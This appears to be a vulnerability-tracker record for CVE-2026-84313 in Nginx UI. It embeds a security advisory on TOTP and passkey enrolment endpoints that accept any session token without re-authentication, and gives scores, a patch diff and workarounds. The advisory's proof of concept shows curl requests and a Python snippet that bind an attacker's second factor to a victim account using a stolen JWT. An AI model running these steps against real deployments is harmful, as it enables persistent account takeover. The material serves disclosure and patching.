CVE-2026-84313

highpriority · track · 0OT risk · elevatedEPSS 0.004 · 36 %ileRUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.43% (36th) EPSS
CVSS 8.8 · high
Is it mine?
3 products
Check your exposure
Who says so?
2 sources
fstec_bdu · osv

EPSS · scored 2026-10-23

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.18.8highAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 2.8 · impact 5.9
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-gfrc-g87h-7h5wNginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover2026-10-15ghsa · osvUS

    ## Summary Endpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out. ## Details `api/user/router.go:34-39` — note the routes registered *before* the secure-session group: ```go r.GET("/otp_secret", GenerateTOTP) r.POST("/otp_enroll", EnrollTOTP) // ← outside RequireSecureSession r.GET("/begin_passkey_register", BeginPasskeyRegistration) r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← outside RequireSecureSession o := r.Group("", middleware.RequireSecureSession()) { o.GET("/otp_reset", ResetOTP) // reset *is* protected — inconsistent ... } ``` `EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting): ```go if cUser.EnabledOTP() { ... abort ... } var twoFA struct { Secret string `json:"secret" binding:"required"` Passcode string `json:"passcode" binding:"required"` } if !cosy.BindAndValid(c, &twoFA) { return } if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... } ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret)) u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext) ``` `FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* "already enrolled" guard — an attacker can register multiple passkeys to the victim. ## Proof of Concept ```bash JWT="<victim_jwt>" # Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call): $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret {"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN", "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"} # Step 2 — compute current 30-s TOTP code (attacker-side): $ python3 -c "import base64,hmac,hashlib,struct,time key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN') ctr=int(time.time())//30 h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest() o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000 print(f'{v:06d}')" 954084 # Step 3 — bind that secret to the victim's account: $ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \ -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \ http://127.0.0.1:18080/api/otp_enroll HTTP/1.1 200 OK {"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...], "last_viewed":1778338236} # Step 4 — confirm 2FA is now enabled on the victim's account: $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status {"enabled":true,"otp_status":true,"passkey_status":false, "recovery_codes_generated":true,"recovery_codes_viewed":true} ``` Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator. The passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`. ## Impact * Persistent account takeover surviving the victim's password reset. * Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation. ## Patches `api/user/router.go` — move enrolment routes inside the secure-session group: ```diff - r.POST("/otp_enroll", EnrollTOTP) - r.GET("/begin_passkey_register", BeginPasskeyRegistration) - r.POST("/finish_passkey_register", FinishPasskeyRegistration) - o := r.Group("", middleware.RequireSecureSession()) { + o.POST("/otp_enroll", EnrollTOTP) + o.GET("/begin_passkey_register", BeginPasskeyRegistration) + o.POST("/finish_passkey_register", FinishPasskeyRegistration) o.GET("/otp_reset", ResetOTP) ... } ``` This patch alone is **not sufficient** — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`). ## Workarounds None reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows. ## Credits Vishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.

  • GO-2026-6786TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover in github.com/0xJacky/Nginx-UI2026-10-19vendor · osvUS

    TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover in github.com/0xJacky/Nginx-UI

06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-10-12modified 2026-10-16
08

references (3) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan